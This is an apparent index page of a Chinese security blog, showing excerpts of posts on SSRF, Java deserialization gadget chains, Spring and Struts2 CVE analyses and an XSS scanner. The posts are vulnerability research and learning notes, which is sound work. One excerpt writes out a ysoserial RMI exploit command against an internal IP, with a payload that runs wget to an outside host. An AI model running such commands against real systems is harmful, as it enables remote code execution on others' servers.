-
SSRF攻击姿势汇总
前言这是很早就整理的笔记,今天想起来发到博客上,还是要保持写文章总结的习惯啊。最近笔者在看讲SSRF、protocol smuggle、HTTP request smuggle、SSO任意跳转,Url解析不一致导致的安全问题。一方面由衷地佩服演讲人的脑洞和安全功底,另外一方面又在笔者又在反思,如果是我,我会怎么去发现此类漏洞,解决方案又是什么。本文不同于各大公众号千篇一律的复现、验证漏洞文章,会加入自己的思考和心得。鉴于文章会存在一些敏感内容,笔者会本着在删除敏感内容的前提下,尽量让大家...…
-
个人随想和总结
前言2019将尽,一转眼从毕业到现在工作已快三年,这三年虽工作上不敢说有多大的成就,但是个人对比过去的自己来看的确有进步和成长。博客自从换到github之后,基本都是记录一些平时工作、业余时间中遇到和解决的技术性问题。整个博客关于非技术性文章基本寥寥无几,加上内心有一些想法实在“按耐不住”,所以促使我要写一份不谈任何技术的2019总结。其实换个角度,这篇文章也是技术文章,只不过它不再是那种传统意义上的技术而已。文章所写,皆是本人所想、所感、所悟,可能不对或者有异议,请大家带着一个开放包容的...…
-
一次攻击内网rmi服务的深思
说明在日常扫描内网服务器的时候发现有几台主机开放了rmi服务,根据以往经验rmi服务存在反序列化漏洞,本以为可以直接拿ysoserial一把梭直接干。java -cp ysoserial.exploit.RMIRegistryExploit 10.9.15.193 9999 CommonsCollections2 “wget http://xxxxx:3344”以往都成功过,但是这次居然爆出了filter status: REJECTED出现这种情况的原因是[java 8 update 1...…
-
2018-7-24-peewee 连接池踩坑日记
起因上线了2天的hunter-server在线上除了问题,最后看日志的时候发现出现了Lost connection to MySQL server during query。经过一番查询之后,知道是wait_timeout的问题,mysql默认的wait_timeout是8小时,也就是28800秒。从一次建立mysql连接开始,如果8小时之内不做任何操作,那么此次连接会自动过期销毁,导致后面无法进行正常的sql操作,出现Lost connection to MySQL server dur...…
-
java反序列化漏洞-玄铁重剑之CommonsCollection(上)
前言:玄铁重剑,是金庸小说笔下第一神剑。由「玄铁」制成,重八八六十四斤;由「剑魔」独孤求败所使,四十岁前持之无敌于天下。 独孤求败逝去后为杨过所得,并由独孤求败的「朋友」神雕引导,之后在神雕的指导下,也根据独孤求败的独门秘籍及练功方法,练成了一身天下无敌的剑法及内功心法。主角:CommonsCollection, commons-collections.jar介绍:Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了...…
-
java反序列化漏洞-金蛇剑之hibernate(下)
前言:金蛇剑:此剑金光灿烂形状奇特,剑身犹如是一条蛇盘曲而成。蛇尾构成剑尖蛇头藏与剑柄,握在手中甚是沉重,原是由黄金铸造而成。此剑形状甚是奇特,整柄剑就如是一条蛇盘曲而成,蛇尾勾成剑柄,蛇头则是剑尖,蛇舌伸出分叉,是以剑尖竟有两叉。主角:hibernate介绍:Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随...…
-
java反序列化漏洞-金蛇剑之hibernate(上)
前言:金蛇剑:此剑金光灿烂形状奇特,剑身犹如是一条蛇盘曲而成。蛇尾构成剑尖蛇头藏与剑柄,握在手中甚是沉重,原是由黄金铸造而成。此剑形状甚是奇特,整柄剑就如是一条蛇盘曲而成,蛇尾勾成剑柄,蛇头则是剑尖,蛇舌伸出分叉,是以剑尖竟有两叉。主角:hibernate介绍:Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,它将POJO与数据库表建立映射关系,是一个全自动的orm框架,hibernate可以自动生成SQL语句,自动执行,使得Java程序员可以随...…
-
java反序列化漏洞-玄铁重剑之CommonsCollection(下)
前言:玄铁重剑,是金庸小说笔下第一神剑。由「玄铁」制成,重八八六十四斤;由「剑魔」独孤求败所使,四十岁前持之无敌于天下。 独孤求败逝去后为杨过所得,并由独孤求败的「朋友」神雕引导,之后在神雕的指导下,也根据独孤求败的独门秘籍及练功方法,练成了一身天下无敌的剑法及内功心法。主角:CommonsCollection, commons-collections.jar介绍:Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了...…
-
SpringMvc xss (CVE-2014-1904)学习与分析
介绍https://pivotal.io/cn/security/cve-2014-1904根据漏洞描述:内容可以知道需要用form标签,选择3.2.8版本以前的spring-mvc。然后写了一个demo,代码如下:bean````package net.codersec.entity;public String getUsername() { return username;}public void setUsername(String username) { this.us...…
-
2018-01-26-Spring XXE漏洞(CVE-2013-4152,CVE-2014-0225)
#介绍老漏洞了,原理也很简单,随便分析一波。漏洞编号为CVE-2013-4152,根据官方提示,xxe漏洞,漏洞的位置包括oxm,嗯,现学现卖,直接翻到文档学习一波https://docs.spring.io/spring/docs/current/spring-framework-reference/data-access.html#oxm根据官方写一个demo````public class Application {private static final String FILE_N...…
-
Spring AMQP 远程代码执行(CVE-2016-2173)
这个没有人分析?这篇文章写出来权当自己的学习过程了。近期一直在整理java相关的漏洞,多半是反序列化相关的知识,以后有机会慢慢发。https://pivotal.io/cn/security/cve-2016-2173介绍官方描述如下:The class org.springframework.core.serializer.DefaultDeserializer does not validate the deserialized object against a whitelist. ...…
-
2017-11-03-struts2漏洞调试合集之S2-037
#介绍其实这个037就是033的绕过,虽然点不一样,033需要开启动态函数调用,但是037找到了不需要开启动态函数的地方。官方的说明,在启用rest时,可能会造成远程代码执行,rest最近也出了一个xml反序列漏洞,具体的漏洞原因可以看我的前几次文章。http://www.codersec.net/2017/09/s2052%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%E5%92%8C%E8%A1%A5%E4%B8%81%E5%88%86%E6%9E%90/。基...…
-
写给自己的话
状态近期有些迷?最近事情有很多,接机学习了一波之前没有接触到的东西,感觉还不错。最近在审计公司业务代码,感觉还是很通畅的,究其原因有两个:1.不是代码海2.程序员编写代码的风格比较规范,没有那种自带代码混淆功能的情况burp 爆出了漏洞,官方出来辟谣,吓得我是一惊一惊的。青岛高校行活动还不错,吹了吹青岛的海风,酒店漱口的时候,自来水都是咸的。刚开始定了一家靠近海的酒店,结果房间里果然是海的味道,一股子鱼腥味,半夜睡不着的时候从柜子里翻出来两条咸鱼,恩,果然是海的味道。要读的书翻了翻书单,有...…
-
s2-052 漏洞解析和补丁分析
问题复现9月5号,在北京出差的时候,就听到群里大师傅们在讨论s2-052,当时根据官方链接,作者说的很清楚,在XStreamHandler函数toObject中,在进行xml转object的时候,没有任何的防御措施,导致可以直接反序列化。由于酒店的网太烂了,maven依赖一直下载不下来,回到公司后一切顺利地可以进行。本来当网就想调试分析一下的,但是关于XStream的用法,可以参考http://www.cnblogs.com/m3Lee/p/3820832.html?utm_source=...…
-
Spring 框架的反序列化漏洞
介绍最近在学习反序列化之类漏洞之类的东西,之前也是看别人分析,一直没有实践,这次找到16年的一个漏洞,准备分析调试一下。漏洞环境https://github.com/zerothoughts/spring-jndi漏洞描述没搜到编号,反正重点是在于学习这个漏洞。首先先把服务端跑起来,服务端代码很简单,是一个serversocket的,监听9999端口,并且抑制等待客户端socket链接过来。客户端代码客户端流程如下:1.客户端代码先监听8088端口,开启一个文件下载服务。其中该地址映射的就...…
-
CVE-2013-6430 Spring mvc xss学习和分析
介绍Spring mvc历史上爆过一个xss漏洞,编号为CVE-2013-6430。分析过程真的是简单,没处理<>等字符,毕竟13年的洞,所以那会过滤什么的都考虑不全。漏洞描述官方的介绍很详细,https://jira.spring.io/browse/SPR-9983补丁也浅显易懂。https://github.com/spring-projects/spring-framework/commit/7a7df6637478607bef0277bf52a4e0a03e20a24...…
-
Spring Security OAuth 代码执行漏洞和分析
介绍Spring Security OAuth历史上爆出过一个CVE-2016-4977,本篇文章主要作为本人在学习和调试这个漏洞时候的过程记录。漏洞描述官方对于CVE-2016-4977的描述比较模糊,大概讲了下漏洞触发的原理,我们只知道最终的原因是因为执行了SpEL表达式https://pivotal.io/de/security/cve-2016-4977。对比给出的利用poc,我们来理解下整个运行的流程。http://localhost:8080/oauth/authorize?r...…
-
Apache Commons Fileupload cve分析和复习
1.介绍Apache Commons Fileupload是阿帕奇基金会开源的一个java上传文件工具类。历史上爆出了两个dos漏洞,了解详情可以查阅http://commons.apache.org/proper/commons-fileupload/security-reports.htmlCVE2014-0050一个比较古老的 dos漏洞,通过查看commit提交纪录,可以看到一条古老的提交纪录https://github.com/apache/commons-fileupload/...…
-
Xssforkapi使用指南
#概述xssfork是新一代xss漏洞探测工具,其开发的目的是帮助安全从业者高效率的检测xss安全漏洞,关于xss的更多详情可以移步Cross-site Scripting (XSS)。不管什么语言,传统的xss探测工具,一般都是采用第三方库向服务器发送一个注入恶意代码的请求,其工作原理是采用payload in response的方式,即通过检测响应包中payload的完整性来判断,这种方式缺陷,很多。例如1.不能检测dom类xss(无法从源代码中检查)2.不能模拟真正的浏览器3.网页j...…
-
xssfork-一款xss探测工具
xssfork简介xssfork作为sicklescan的一个功能模块,其开发主要目的是用于检测xss漏洞。传统的xss探测工具,一般都是采用 payload in response的方式,即在发送一次带有payload的http请求后,通过检测响应包中payload的完整性来判断,这种方式缺陷,很多。第一:不能准确地检测dom类xss第二:用类似于requests之类的库不能真正的模拟浏览器第三:网页js无法交互怎么解决?如果能够用浏览器代替这个模块,去自动hook是最好的。所幸,我了解...…